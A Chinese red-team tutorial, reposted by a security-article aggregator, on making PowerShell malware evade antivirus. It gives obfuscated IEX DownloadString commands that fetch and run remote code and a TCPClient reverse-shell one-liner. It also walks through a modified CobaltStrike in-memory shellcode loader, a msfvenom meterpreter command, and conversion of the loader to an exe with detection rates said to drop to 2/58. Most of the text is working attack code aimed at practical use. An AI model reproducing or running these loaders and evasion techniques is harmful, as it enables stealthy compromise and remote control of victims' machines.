Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:18742 篇
已收录公众号数量:91 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
阿里云先知 网安寻路人 网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
【红蓝对抗】Powershell免杀从入门到实践
本文来自公众号:SecPulse安全脉搏   2021.02.23 17:55:48


前言

在之前发布的一篇 渗透技巧之Powershell实战思路中,学习了powershell在对抗Anti-Virus的方便和强大。团队免杀系列又有了远控免杀从入门到实践(6)-代码篇-Powershell更是拓宽了自己的认知。这里继续学习powershell在对抗Anti-Virus的骚姿势。

绕过执行策略

powershell 可以通过绕过执行策略来执行恶意程序。
而从文件是否落地可以简单分为落地的bypass、不落地的bypass。
以落地为例

powershell -ExecutionPolicy bypass -File  a.ps1

以不落地为例,如我们熟知的IEX

powershell  -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')"

从免杀上来说,查杀比较严格的当然是不落地文件的这种方式。
我们可以将两种方式混用来实现简单的bypass
如:

echo Invoke-Expression(new-object net.webclient).downloadstring('http://xxx.xxx.xxx/a') | powershell -

如:

powershell -c "IEX(New-Object Net.WebClient).DownloadString('d://a')"

简单混淆

powershell混淆姿势有很多,如字符串转换、变量转换、编码、压缩等等。根据powershell语言的特性来混淆代码,从而绕过Anti-Virus。

处理powershell

利用cmd的混淆以不同的姿势调用powershell
如利用win10环境变量截取出powershell

%psmodulepath:~24,10%

处理IEX

为IEX设置别名

powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')

处理downloadstring

使用转义符

"Down`l`oadString"

处理http

以变量的方式拆分http

powershell "$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"

以中文单引号分割

ht‘+’tp

基于以上混淆基础,就可以实现多种bypass的姿势
如:

cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.WebClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"

如:

echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -

如:

chcp 1200 & powershell  -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://xx.xx.xx/a')"

这里再分享一个小技巧:
在测试对抗某些杀毒软件时,发现对cmd下操作查杀比较严格,相对来说powershell环境下更容易bypass。
而实际中可能更多的默认为cmd。我们可以先用socket一句话反弹powershell环境,再执行后续操作。
客户端执行命令:

powershell  -c "$client = New-Object Net.Sockets.TCPClient('106.xxx.xxx.xxx',9090);
$stream = $client.GetStream(); 
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; 
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );
$sendata =$sendback+'PS >';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);
$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);
$stream.Flush()};$client.Close()"

服务端nc监听即可:

nc -lvp 9090

以此来迂回得达到我们的目的。

分析CobaltStrike powershell command

这里使用CobaltStrike 4.1来生成payload

访问83端口的a文件,获取payload代码。
查看代码,可以看到先使用base64解码一段字符串,又通过 IO.Compression.GzipStream 解压缩,并将代码进行IEX执行。

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("xxx"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

修改IEX为echo,保存为aaaa.ps1文件,运行得到源码。

powershell -ExecutionPolicy bypass -File  aaaaa.ps1 >> old.txt

可以看出大概分为 func_get_delegate_type func_get_proc_address 两个函数,然后是一个base64解码的函数,且将byte数组进行了xor的异或操作。然后分配一些内存,将有效负载复制到分配的内存空间中。最后判断计算机架构并执行。

那么关键位置就应该是这串base编码的数据了。事实上,这段数据是bin文件编码得来的。
我们将该byte数组保存为new.bin文件。

$enc=[System.Convert]::FromBase64String('base64编码字符串')
for ($x = 0; $x -lt $enc.Count; $x++) {
 $enc[$x] = $enc[$x] -bxor 35
}
$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)

而后修改为读取new.bin文件内容到内存后再上线。

[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')


其余代码未修改。

执行后可正常上线。
放入VT查杀一下11/59

这时候我们就得到了powershell版的一个加载器,继续尝试修改该加载器本身的一些特征。

func_get_delegate_type func_get_proc_address 两个函数重命名替换,对函数里面的一些变量进行重新定义

重命名 $DoIt $aaaa

修改IEX为I`EX

修改Invoke为Inv'+'oke

替换 $var_code $acode

放入VT再次查杀2/58

powershell加载器

上面的脚本通过读取new.bin中的字节数组并在内存执行从而成功使cobalt strike上线。
那同样可以从远程文件读取shellcode,并加载到内存执行,来实现payload无落地。

加载器代码如下:

Set-StrictMode -Version 2

function func_get_delegate_type_new {
 Param (
  [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
  [Parameter(Position = 1)] [Type] $var_return_type = [Void]
 )
 $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule'$false).DefineType('MyDelegateType''Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
 $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
 $var_type_builder.DefineMethod('Inv'+'oke''Public, HideBySig, NewSlot, Virtual'$var_return_type$var_parameters).SetImplementationFlags('Runtime, Managed')
 return $var_type_builder.CreateType()
}

function func_get_proc_address_new {
 Param ($var_module$var_procedure)  
 $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
 $var_unsafe_native_methods_news = ($var_unsafe_native_methods  | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
 $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef''string'))
 return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

If ([IntPtr]::size -eq 8) {
 [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
 $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
 $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
 [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer$acode.length)
 $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
 $var_runme.Invoke([IntPtr]::Zero)

}

CobaltStrike生成payload.bin文件时,注意勾选x64。

将该payload.bin文件放置在远程服务器上,powershell执行bypass操作。

powershell -ExecutionPolicy bypass -File old.ps1 http://106.xx.xx.xx/payload.bin

CobaltStrike正常上线。

metasploit 也是同样的道理。使用msfvenom生成raw文件,看看加载器是否通用。
生成raw木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.26 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 -o /var/www/html/shell.bin

powershell直接利用加载器加载该bin文件。

powershell -ExecutionPolicy bypass -File a.ps1 http://10.211.55.26/shell.bi

metasploit 也可以正常上线。

powershell转exe

在修改了加载器之后,我们还可以通过powershell代码将其加载器转换为exe程序。
借助Win-PS2EXE项目,通过ps2exe.ps1脚本将加载器转为exe文件。更方便实战中使用。

powershell.exe -ExecutionPolicy bypass  -command "&'.\ps2exe.ps1' -inputFile 'old.ps1' -outputFile 'aaa.exe'"

查杀率5/70

测试可过360、火绒。

总结

利用cmd、powershell语法混淆实现了bypass;

简单分析CobaltStrike powershell payload 获得powershell版本的shellcode加载器;

利用Win-PS2EXE项目转换为exe更方便实际利用。

参考资料

https://evi1.cn/post/powershell-bypass-2/
https://rootrain.me/2020/02/29/%E5%86%85%E7%BD%91%E9%98%B2%E5%BE%A1%E8%A7%84%E9%81%BF(%E4%BA%8C)-%E5%91%BD%E4%BB%A4%E8%A1%8C%E6%B7%B7%E6%B7%86/#0x04-%E5%9E%83%E5%9C%BE%E5%88%86%E9%9A%94%E7%AC%A6
https://www.anquanke.com/post/id/86637